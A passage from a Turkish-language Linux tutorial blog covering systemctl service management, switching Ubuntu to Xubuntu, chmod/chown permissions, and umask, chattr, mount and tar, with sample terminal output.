<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> hakan@h4kan:~$ systemctl list-units --type service
UNIT LOAD ACTIVE SUB DESCRIPTION
accounts-daemon.service loaded active running Accounts Service
acpid.service loaded active running ACPI event daemon
apache2.service loaded active running LSB: Apache2 web server
● apparmor.service loaded failed failed LSB: AppArmor initialization
apport.service loaded active exited LSB: automatic crash report
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
binfmt-support.service loaded active exited Enable support for additiona
bluetooth.service loaded active running Bluetooth service
console-setup.service loaded active exited Set console font and keymap
cron.service loaded active running Regular background program p
cups-browsed.service loaded active running Make remote CUPS printers av
dbus.service loaded active running D-Bus System Message Bus
getty@tty1.service loaded active running Getty on tty1
grub-common.service loaded active exited LSB: Record successful boot
hddtemp.service loaded active exited LSB: disk temperature monito
irqbalance.service loaded active running LSB: daemon to balance inter
keyboard-setup.service loaded active exited Set console keymap
kmod-static-nodes.service loaded active exited Create list of required stat
lightdm.service loaded active running Light Display Manager
lm-sensors.service loaded active exited Initialize hardware monitori
ModemManager.service loaded active running Modem Manager
mysql.service loaded active running MySQL Community Server
lines 1-23...skipping...
UNIT LOAD ACTIVE SUB DESCRIPTION
accounts-daemon.service loaded active running Accounts Service
acpid.service loaded active running ACPI event daemon
apache2.service loaded active running LSB: Apache2 web server
● apparmor.service loaded failed failed LSB: AppArmor initialization
apport.service loaded active exited LSB: automatic crash report
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
binfmt-support.service loaded active exited Enable support for additiona
bluetooth.service loaded active running Bluetooth service
console-setup.service loaded active exited Set console font and keymap
cron.service loaded active running Regular background program p
cups-browsed.service loaded active running Make remote CUPS printers av
dbus.service loaded active running D-Bus System Message Bus
getty@tty1.service loaded active running Getty on tty1
grub-common.service loaded active exited LSB: Record successful boot
hddtemp.service loaded active exited LSB: disk temperature monito
irqbalance.service loaded active running LSB: daemon to balance inter
keyboard-setup.service loaded active exited Set console keymap
kmod-static-nodes.service loaded active exited Create list of required stat
lightdm.service loaded active running Light Display Manager
lm-sensors.service loaded active exited Initialize hardware monitori
ModemManager.service loaded active running Modem Manager
mysql.service loaded active running MySQL Community Server
networking.service loaded active exited Raise network interfaces
NetworkManager-wait-online.service loaded active exited Network Manager Wait Online
NetworkManager.service loaded active running Network Manager
ondemand.service loaded active exited LSB: Set the CPU Frequency S
polkitd.service loaded active running Authenticate and Authorize U
rc-local.service loaded active exited /etc/rc.local Compatibility
resolvconf.service loaded active exited Nameserver information manag
rsyslog.service loaded active running System Logging Service
rtkit-daemon.service loaded active running RealtimeKit Scheduling Polic
setvtrgb.service loaded active exited Set console scheme
snapd.service loaded active running Snappy daemon
speech-dispatcher.service loaded active exited LSB: Speech Dispatcher
</code></pre>
<br />
Yukardaki çıktıda sadece aktif servisleri görüntüledik. Yazdığımız komuta ek olarak all parametresi ekleyerek tüm servisleri görüntüleriz.<br />
<br />
<b><br /></b>
<b>systemctl list-units --type service --all </b>inactive durumundaki servisleride görüntüleyebiliriz.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> hakan@h4kan:~$ systemctl list-units --type service --all
UNIT LOAD ACTIVE SUB DESCRIPTION
accounts-daemon.service loaded active running Accounts Service
acpid.service loaded active running ACPI event daemon
alsa-restore.service loaded inactive dead Save/Restore Sound Card State
alsa-state.service loaded inactive dead Manage Sound Card State (restore and store)
anacron.service loaded inactive dead Run anacron jobs
apache2.service loaded active running LSB: Apache2 web server
● apparmor.service loaded failed failed LSB: AppArmor initialization
apport.service loaded active exited LSB: automatic crash report generation
apt-daily.service loaded inactive dead Daily apt activities
● auditd.service not-found inactive dead auditd.service
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
binfmt-support.service loaded active exited Enable support for additional executable binary formats
bluetooth.service loaded active running Bluetooth service
brltty.service loaded inactive dead Braille Device Support
● cloud-init.service not-found inactive dead cloud-init.service
● console-screen.service not-found inactive dead console-screen.service
console-setup.service loaded active exited Set console font and keymap
cron.service loaded active running Regular background program processing daemon
cups-browsed.service loaded active running Make remote CUPS printers available locally
cups.service loaded inactive dead CUPS Scheduler
dbus.service loaded active running D-Bus System Message Bus
dns-clean.service loaded inactive dead Clean up any mess left by 0dns-up
emergency.service loaded inactive dead Emergency Shell
failsafe-x.service loaded inactive dead X.org diagnosis failsafe
● festival.service not-found inactive dead festival.service
friendly-recovery.service loaded inactive dead Recovery mode menu
getty-static.service loaded inactive dead getty on tty2-tty6 if dbus and logind are not available
getty@tty1.service loaded active running Getty on tty1
getty@tty7.service loaded inactive dead Getty on tty7
gpu-manager.service loaded inactive dead Detect the available GPUs and deal with any system changes
</code></pre>
<br />
<b>systemctl list-unit-files --type service </b>servislerin enable, disable durumunu görmek için bu komutu kullanırız.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> hakan@h4kan:~$ systemctl list-unit-files --type service
UNIT FILE STATE
accounts-daemon.service enabled
acpid.service disabled
alsa-restore.service static
alsa-state.service static
alsa-utils.service masked
anacron-resume.service enabled
anacron.service enabled
apport-forward@.service static
apt-daily.service static
autovt@.service enabled
avahi-daemon.service enabled
binfmt-support.service enabled
bluetooth.service enabled
bootlogd.service masked
bootlogs.service masked
bootmisc.service masked
brltty-udev.service static
brltty.service enabled
checkfs.service masked
checkroot-bootclean.service masked
checkroot.service masked
colord.service static
console-getty.service disabled
console-setup.service static
console-shell.service disabled
container-getty@.service static
cron.service enabled
cryptdisks-early.service masked
cryptdisks.service masked
cups-browsed.service enabled
cups.service enabled
dbus-org.bluez.service enabled
dbus-org.freedesktop.Avahi.service enabled
dbus-org.freedesktop.hostname1.service static
dbus-org.freedesktop.locale1.service static
dbus-org.freedesktop.login1.service static
dbus-org.freedesktop.ModemManager1.service enabled
dbus-org.freedesktop.network1.service disabled
dbus-org.freedesktop.nm-dispatcher.service enabled
</code></pre>
<br />
Herhangi bir servisin durumunu öğrenmek içinde<br />
<br />
<b>systemctl status apache2 </b>komutunu kullanırız. Ben apache2 servisinin durumuna bakıyorum.<br />
<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> hakan@h4kan:~$ systemctl status apache2
● apache2.service - LSB: Apache2 web server
Loaded: loaded (/etc/init.d/apache2; bad; vendor preset: enabled)
Drop-In: /lib/systemd/system/apache2.service.d
└─apache2-systemd.conf
Active: <b><span style="color: #38761d;">active (running)</span></b> since Paz 2017-02-12 14:49:12 +03; 57min ago
Docs: man:systemd-sysv-generator(8)
Process: 1645 ExecStart=/etc/init.d/apache2 start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/apache2.service
├─1781 /usr/sbin/apache2 -k start
├─1809 /usr/sbin/apache2 -k start
├─1810 /usr/sbin/apache2 -k start
├─1811 /usr/sbin/apache2 -k start
├─1812 /usr/sbin/apache2 -k start
└─1813 /usr/sbin/apache2 -k start
Şub 12 14:49:11 h4kan systemd[1]: Starting LSB: Apache2 web server...
Şub 12 14:49:11 h4kan apache2[1645]: * Starting Apache httpd web server apache2
Şub 12 14:49:12 h4kan apache2[1645]: *
Şub 12 14:49:12 h4kan systemd[1]: Started LSB: Apache2 web server.
</code></pre>
<br />
Çıktıda görebileceğiniz gibi servisin <b>loaded</b> olduğu, servise ait unit file’ın tam path’inin<b>/usr/lib/systemd/system/apache2.service.d</b> olduğu ve startup’a ekli olduğu (<b>enabled</b>) görüntülenmektedir.<br />
<br />
Ayrıca, servisin state’inin active (<b>running</b>) olduğu ve
ne kadardır up olduğu bildirilmektedir. Main PID numarası Linux Control
Group bilgileri ve servisin ürettiği logun son bir kısmı yer
bildirilmektedir.<br />
<br />
Servisi başlatmak için<br />
<br />
<b>#systemctl start httpd</b><br />
<br />
servisi durdurmak için<br />
<br />
<b>#systemctl stop httpd</b><br />
<br />
Servisi reload etmek için<br />
<b> </b><br />
<b>#systemctl reload httpd </b><br />
<b><br /></b>
Servisi restart etmek için<br />
<br />
<b>#systemctl restart httpd</b><br />
<br />
Servislerin açılışta çalıştırılması için<br />
<b> </b><br />
<b>#systemctl enable httpd </b><br />
<br />
servisin açılışta çalıştırılmaması için yani startuptan kaldırmak için<br />
<b> </b><br />
<b>#systemctl disable httpd</b><br />
<br />
Enable ettiğiniz bir servisin tekrar başlatılmaması için <b>mask</b> parametresi kullanılır.<br />
<b> </b><br />
<b>#systemctl mask httpd </b><br />
<br />
maskı kaldırmak içinde <b>unmask </b>parametresi kullanılır.<br />
<b> </b><br />
<b>#systemctl unmask httpd </b><br />
<b> </b><br />
<br />
Özetlersek systemd, Linux işletim sistemleri için geliştirilmiştir.<br />Amacı; bilgisayardaki sistem ve servislerin çalışmasını organize etmektir.<b> </b>systemd tabiki bununla kalmıyor ve çok fazla işlevi var. Ben genel hatlarıyla anlatmaya çalıştım. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUu4W2ck22UuaFHcqONNLpK3KHZ36u9Tq4nOAP9Mdd0DMoPHa8ogxMKQquNwt2v4c__UIXTqqFseAGdkVO4p6M3V_S_L2J5zrg0LtdZUjCxiheLkCaU-XHgbKPgdazHZEy6X5EwR8WQJUr/s1600/suprised-cat.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="239" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUu4W2ck22UuaFHcqONNLpK3KHZ36u9Tq4nOAP9Mdd0DMoPHa8ogxMKQquNwt2v4c__UIXTqqFseAGdkVO4p6M3V_S_L2J5zrg0LtdZUjCxiheLkCaU-XHgbKPgdazHZEy6X5EwR8WQJUr/s320/suprised-cat.jpg" width="320" /></a></div>
Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-58924442776654582742017-02-09T04:20:00.000-08:002017-02-09T04:20:00.473-08:00Ubuntu sistemi xubuntu yapmakUbuntu gnome masaüstü ortamını bir kaç adımda xubuntu hale getirebiliyoruz.<br />
<br />
Terminalde : xubuntu deski indiriyoruz.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo apt-get install xubuntu-desktop gksu leafpad synaptic </code></pre>
<br />
Paket kurulduktan sonra, sisteminizden log-out olmanız gerekir. Olduktan sonra sağ üstteki ubuntu logosuna tıklayıp xubuntu yapın.<br />
<br />
xubuntu şeklinde giriş yaptıktan sonra, gnome ile ilgili problemlerin çıkmaması adına bazı paketleri siliyoruz.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo apt-get remove nautilus gnome-power-manager gnome-screensaver gnome-termina* gnome-pane* gnome-applet* gnome-bluetooth gnome-desktop* gnome-sessio* gnome-user* gnome-shell-common compiz compiz* unity unity* hud zeitgeist zeitgeist* python-zeitgeist libzeitgeist* activity-log-manager-common gnome-control-center gnome-screenshot overlay-scrollba* && sudo apt-get install xubuntu-community-wallpapers && sudo apt-get autoremove
</code></pre>
<br />
Bu işlem bittikten sonra sistemi reboot ediyoruz.<br />
<br />
Yukardaki işlem bizim bazı sorunları almamızı engelledi fakat gnome yazılımıda bu işlemde istemeden silindi. Yazılım deposunu tekrar almak için :<br />
<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo apt-get install gnome-software
</code></pre>
<br />
Sisteminiz xubuntuya döndü. Xubuntuyu eklentilerle daha güzel bir hale getirmeniz için https://sites.google.com/site/easylinuxtipsproject/first-xubuntu ziyaret edebilirsiniz.Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-34765028286821902132016-05-21T01:29:00.000-07:002016-05-21T01:29:15.274-07:00Linux chmod, chown komutları<b>chmod : </b>Dosya ve dizinlerin izinlerini değiştirmek için kullanılır.<br />
<br />
Örnek : <br />
<br />
dosya1 ve bir dizin oluştururuz. izinleri aşağıdaki gibidir.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>drwxr-xr-x 2 root root 4096 May 19 00:59 dizin1/
-rw-r--r-- 1 root root 0 May 19 00:59 dosya1</code></pre>
<br />
<pre><tt>rwx = 111 in binary = 7
rw- = 110 in binary = 6
r-x = 101 in binary = 5
r-- = 100 in binary = 4
</tt></pre>
<pre><tt><b></b>
</tt></pre>
<br />
şeklindedir. ve biz bunları 755 olarak değiştirmek istiyoruz.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # touch dosya1
hakan eren # mkdir dizin1
hakan eren # ll
total 40
drwxr-xr-x 5 root root 4096 May 19 00:59 ./
drwx------ 26 root root 4096 May 18 04:42 ../
drwxr-xr-x 2 root root 4096 May 19 00:59 dizin1/
-rw-r--r-- 1 root root 0 May 19 00:59 dosya1
-rw-r--r-- 1 root root 0 May 16 05:00 ornek1.html
drwxr-xr-x 2 root root 4096 May 17 02:11 ornek2/
drwxr-xr-x 2 root root 4096 May 17 02:11 ornek3/
-rw-r--r-- 1 root root 31 May 17 02:12 ornek4
-rw-r--r-- 1 root root 29 May 17 02:20 ornek5
-rw-r--r-- 1 root root 23 May 17 02:22 ornek7
-rw-r--r-- 1 root root 31 May 17 02:23 ornek8
-rw-r--r-- 1 root root 31 May 17 02:22 ornek9
hakan eren # chmod 755 dosya1
hakan eren # ll
total 40
drwxr-xr-x 5 root root 4096 May 19 00:59 ./
drwx------ 26 root root 4096 May 18 04:42 ../
drwxr-xr-x 2 root root 4096 May 19 00:59 dizin1/
-rwxr-xr-x 1 root root 0 May 19 00:59 dosya1*
-rw-r--r-- 1 root root 0 May 16 05:00 ornek1.html
drwxr-xr-x 2 root root 4096 May 17 02:11 ornek2/
drwxr-xr-x 2 root root 4096 May 17 02:11 ornek3/
-rw-r--r-- 1 root root 31 May 17 02:12 ornek4
-rw-r--r-- 1 root root 29 May 17 02:20 ornek5
-rw-r--r-- 1 root root 23 May 17 02:22 ornek7
-rw-r--r-- 1 root root 31 May 17 02:23 ornek8
-rw-r--r-- 1 root root 31 May 17 02:22 ornek9
</code></pre>
<br />
en baştaki 7 sahibi ile ilgili ortadaki grubu en sondaki diğerleri ile ilgili izinleri belirtiriz.<br />
<br />
Aynı işlemi sayısal ifadelerle yapabileceğimiz gibi sembolik ifadelerlede kullanabiliriz.<br />
<br />
<b>chmod o-x dosya1 </b>dediğimizde dosya1'den çalışma iznini diğer userlardan siler. o parametresi other anlamında kullanılır.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # chmod o-x dosya1
hakan eren # ll
total 40
drwxr-xr-x 5 root root 4096 May 19 00:59 ./
drwx------ 26 root root 4096 May 18 04:42 ../
drwxr-xr-x 2 root root 4096 May 19 00:59 dizin1/
-rwxr-xr-- 1 root root 0 May 19 00:59 dosya1*
</code></pre>
<br />
<b>chmod -R 755 dizin1</b>/ ile -R parametresi ile kullandığımızda dizin1 ve dizin1 in altındaki dosyaların izinlerini recursive olarak 755 izin bilgisi ile değiştiririz.<br />
<br />
<b>chown : </b>Dosya ve dizinlerin sahibini ve grubunu belirleriz.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # ll
total 40
drwxr-xr-x 5 root root 4096 May 19 00:59 ./
drwx------ 26 root root 4096 May 18 04:42 ../
drwxr-xr-x 2 root root 4096 May 19 00:59 dizin1/
-rwxr-xr-- 1 root root 0 May 19 00:59 dosya1*
</code></pre>
<br />
<b>chown hakan dosya1 </b><br />
<br />
Dosya1 in sahibini hakan olarak değiştireceğiz.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # chown hakan dosya1
hakan eren # ll
total 40
drwxr-xr-x 2 root root 4096 May 19 00:59 dizin1/
-rwxr-xr-- 1 hakan root 0 May 19 00:59 dosya1*
</code></pre>
<br />
<b>chown hakan:hakan dosya1 </b>şeklinde kullandığımızda<b> </b>dosya1 in hem sahibini hem grubunu değiştirmiş oluruz.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # chown hakan:hakan dosya1
hakan eren # ll
total 40
drwxr-xr-x 2 root root 4096 May 19 00:59 dizin1/
-rwxr-xr-- 1 hakan hakan 0 May 19 00:59 dosya1*
</code></pre>
<br />
sadece grubunu değiştirmek için<br />
<br />
<b>chown :root dosya1</b> şeklinde de yapabiliriz.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # chown :root dosya1
hakan eren # ll
total 40
drwxr-xr-x 2 root root 4096 May 19 00:59 dizin1/
-rwxr-xr-- 1 hakan root 0 May 19 00:59 dosya1*</code></pre>
<br />
<b>chown -R hakan:hakan dizin1/ </b>şeklinde -R parametresi ile kullanıldığında dizini ve dizinin altındakilerin recursive olarak sahibini ve grubunu değiştiririz.<br />
<br />
<b>dizin1 </b>in sahibini ve grubunu kendisi ve altındaki tüm dizinler dahil <b>hakan</b> olarak değiştiririz.<br />
<br />
Aşağıda chmod ile ilgili dosyaların rakamsal olarak değerlerine daha detaylı bakabilirsiniz. Kaynak : http://linuxcommand.org/lts0070.php<br />
<br />
<table border="" cellpadding="8"><tbody>
<tr><td><i>777</i></td>
<td><i>(rwxrwxrwx)</i> No restrictions on
permissions. Anybody may do anything.
Generally not a desirable setting.</td>
</tr>
<tr>
<td><i>755</i></td>
<td><i>(rwxr-xr-x)</i> The file's owner may
read, write, and execute the file. All others
may read and execute the file. This setting
is common for programs that are used by all
users.</td>
</tr>
<tr>
<td><i>700</i></td>
<td><i>(rwx------)</i> The file's owner may
read, write, and execute the file. Nobody
else has any rights. This setting is useful
for programs that only the owner may use and
must be kept private from others.</td>
</tr>
<tr>
<td><i>666</i></td>
<td><i>(rw-rw-rw-)</i> All users may read
and write the file.</td>
</tr>
<tr>
<td><i>644</i></td>
<td><i>(rw-r--r--)</i> The owner may read
and write a file, while all others may only
read the file. A common setting for data
files that everybody may read, but only the
owner may change.</td>
</tr>
<tr>
<td><i>600</i></td>
<td><i>(rw-------)</i> The owner may read
and write a file. All others have no rights.
A common setting for data files that the
owner wants to keep private.</td></tr>
</tbody></table>
Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-38584695908221398622016-05-20T04:50:00.000-07:002016-05-20T04:50:12.994-07:00Linux umask, chattr, mount, tar komutları<br />
<b>umask : </b>Dosya ve dizinlerin varsayılan izinlerini görmeye ve değiştirmeye yarar.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # umask
0022
</code></pre>
<br />
Ekran çıkan bu değer verilmeyen izinleri temsil eder.<br />
<br />
777-022 = 755 varsayılan dizin iznimizdir.<br />
666-022 = 644 varsayılandaki dosya iznimizdir<br />
<br />
usmask ile bu değerleri değiştirebiliriz<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # umask 0011
hakan eren # umask
0011
</code></pre>
<br />
777-011 = 766 varsayılan dizin izni<br />
666-011 = 655 varsayılan dosya izni<br />
<br />
Dosya sistemlerinde izinlerin yanı sıra veri günlükleme, sıkıştırma ve değişmezlik gibi ek özniteliklerde bulunmaktadır. Bu gibi öz nitelikleri <b>chattr </b>komutu ile değiştirebiliriz.<br />
<br />
<b>chattr +i ornekdosya</b><br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # touch ornekdosya
hakan eren # chattr +i ornekdosya
hakan eren # rm -rf ornekdosya
rm: cannot remove ‘ornekdosya’: Operation not permitted
</code></pre>
<br />
+i parametresi ile kullandığımızda dosyayı root kullanıcısı olmamıza rağmen silemiyoruz. not permitted diye izinli olmadığımızı söyleyen bir uyarı verir. Dosyayı kimsenin silmesini istemezsek chattr komutunu +i parametresi ile kullanırız.<br />
<br />
Bu işlemi geri almak istediğimizde chattr komutunu <b>-i </b>parametresini kullanarak yazarız. ve silebiliriz. <br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # chattr -i ornekdosya
hakan eren # rm -rf ornekdosya
</code></pre>
<br />
chattr -i dosya<br />
chattr -a dosya<br />
chattr -A dosya<br />
<br />
a : Tanımlandığında,dosya üzerine sadece yeni veri eklenebilir fakat varolan veriler değiştirilemez.<br />
veyasilinemez<br />
i : Tanımlandığında,dosya içeriğiherhangi bir şekildedeğiştirilemez(silinemez, isimdeğişikliğiyapılamaz)<br />
A: Tanımlandığında dosyaya yapılanerişimlere ait zamanbilgisi (atime)güncellenmez.<br />
<br />
<b>mount : </b>Sistemdeki aygıtların bağlanma yerlerini<b> </b>bu komutu ile görebiliriz.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan@hakan ~ $ mount
/dev/sda2 on / type ext4 (rw,errors=remount-ro)
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
none on /sys/fs/cgroup type tmpfs (rw)
none on /sys/fs/fuse/connections type fusectl (rw)
none on /sys/kernel/debug type debugfs (rw)
none on /sys/kernel/security type securityfs (rw)
none on /sys/firmware/efi/efivars type efivarfs (rw)
udev on /dev type devtmpfs (rw,mode=0755)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620)
tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755)
none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880)
none on /run/shm type tmpfs (rw,nosuid,nodev)
none on /run/user type tmpfs (rw,noexec,nosuid,nodev,size=104857600,mode=0755)
none on /sys/fs/pstore type pstore (rw)
/dev/sda1 on /boot/efi type vfat (rw)
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,noexec,nosuid,nodev)
systemd on /sys/fs/cgroup/systemd type cgroup (rw,noexec,nosuid,nodev,none,name=systemd)
gvfsd-fuse on /run/user/1000/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,user=hakan)
</code></pre>
<br />
/dev/sda2 kök dizinine bağlıdır.<br />
<br />
mount komutuyla sistem aygıtlarını istediğimiz dizinede bağlayabiliriz.<br />
<br />
<b>mount -o loop,rw centos.iso /mnt </b>herhangi bir iso dosyasını istediğimiz dizine bu komut ile bağlayabiliriz<br />
<br />
<b>mount -t ext4 /dev/sda3 /mnt/</b> İstediğimiz bir disk bölümünü istediğimiz dizine bağlarız. -t parametresi ile ext4 formatı ile dizine bağlayacağımızı belirtmiş oluruz.<br />
<br />
<b>tar :</b> Dosya ve dizinleri arşivlemek için kullanılır.<br />
<br />
<b>tar -cvzf log.tar.gz /var/log/</b><br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # tar -cvzf log.tar.gz /var/log/
tar: Removing leading `/' from member names
/var/log/
/var/log/Xorg.20.log
/var/log/syslog.4.gz
/var/log/pm-powersave.log
/var/log/dpkg.log
/var/log/syslog.2.gz
/var/log/dmesg.1.gz
/var/log/ConsoleKit/
/var/log/ConsoleKit/history.2.gz
/var/log/ConsoleKit/history.1
/var/log/ConsoleKit/history
/var/log/dmesg.4.gz
/var/log/udev
/var/log/pm-powersave.log.2.gz
/var/log/syslog.5.gz
/var/log/hp/
/var/log/hp/tmp/
/var/log/fontconfig.log
/var/log/boot.log
/var/log/syslog.3.gz
/var/log/btmp.1
/var/log/cups/
/var/log/cups/access_log.6.gz
/var/log/cups/access_log.5.gz
/var/log/cups/error_log
/var/log/cups/access_log.3.gz
/var/log/cups/page_log
/var/log/cups/access_log
/var/log/cups/access_log.2.gz
/var/log/cups/access_log.7.gz
/var/log/cups/access_log.4.gz
/var/log/cups/access_log.1.gz
/var/log/auth.log.4.gz
/var/log/mysql/
/var/log/mysql/error.log
/var/log/mysql/error.log.4.gz
/var/log/mysql/error.log.6.gz
/var/log/mysql/error.log.3.gz
/var/log/mysql/error.log.7.gz
/var/log/mysql/error.log.5.gz
/var/log/mysql/error.log.1.gz
/var/log/mysql/error.log.2.gz
/var/log/mysql.log.3.gz
/var/log/fsck/
/var/log/fsck/checkroot
/var/log/fsck/checkfs
/var/log/mysql.log.6.gz
/var/log/btmp
/var/log/aptitude
/var/log/dmesg.2.gz
/var/log/mysql.log.5.gz
/var/log/upstart/
/var/log/upstart/cups.log.6.gz
/var/log/upstart/dbus.log.4.gz
/var/log/upstart/alsa-restore.log.6.gz
/var/log/upstart/plymouth-shutdown.log.3.gz
/var/log/upstart/procps-static-network-up.log.2.gz
/var/log/upstart/plymouth-shutdown.log.7.gz
/var/log/upstart/console-setup.log.5.gz
/var/log/upstart/gpu-manager.log.6.gz
/var/log/upstart/gpu-manager.log.4.gz
/var/log/upstart/mountall.log.1.gz
/var/log/upstart/network-manager.log.3.gz
/var/log/upstart/cups.log.7.gz
/var/log/upstart/cups.log.3.gz
/var/log/upstart/alsa-state.log.1.gz
/var/log/upstart/network-manager.log.5.gz
/var/log/upstart/modemmanager.log.5.gz
/var/log/upstart/dbus.log.6.gz
/var/log/upstart/mysql.log.3.gz
/var/log/upstart/mysql.log.6.gz
/var/log/upstart/network-manager.log.2.gz
/var/log/upstart/alsa-state.log.7.gz
/var/log/upstart/container-detect.log.2.gz
/var/log/upstart/kmod.log.4.gz
/var/log/upstart/alsa-state.log.5.gz
/var/log/upstart/ureadahead-other.log.7.gz
/var/log/upstart/mysql.log.5.gz
/var/log/upstart/dbus.log.1.gz
/var/log/upstart/kmod.log.1.gz
/var/log/upstart/console-setup.log.1.gz
/var/log/upstart/procps-virtual-filesystems.log.2.gz
/var/log/upstart/procps-static-network-up.log.6.gz
/var/log/upstart/gpu-manager.log.5.gz
/var/log/upstart/plymouth-shutdown.log.4.gz
/var/log/upstart/modemmanager.log.3.gz
/var/log/upstart/mountall.log.6.gz
/var/log/upstart/procps-virtual-filesystems.log.3.gz
/var/log/upstart/cups.log.5.gz
/var/log/upstart/network-manager.log.7.gz
/var/log/upstart/systemd-logind.log.2.gz
/var/log/upstart/kmod.log.2.gz
/var/log/upstart/kmod.log.3.gz
/var/log/upstart/alsa-state.log.6.gz
/var/log/upstart/alsa-restore.log.4.gz
/var/log/upstart/procps-virtual-filesystems.log.4.gz
/var/log/upstart/ureadahead-other.log.5.gz
/var/log/upstart/systemd-logind.log.7.gz
/var/log/upstart/procps-static-network-up.log.7.gz
/var/log/upstart/kmod.log.5.gz
/var/log/upstart/plymouth-shutdown.log.2.gz
/var/log/upstart/alsa-restore.log.1.gz
/var/log/upstart/alsa-state.log.4.gz
/var/log/upstart/plymouth-shutdown.log.5.gz
/var/log/upstart/console-setup.log.3.gz
/var/log/upstart/plymouth-shutdown.log.1.gz
/var/log/upstart/container-detect.log.1.gz
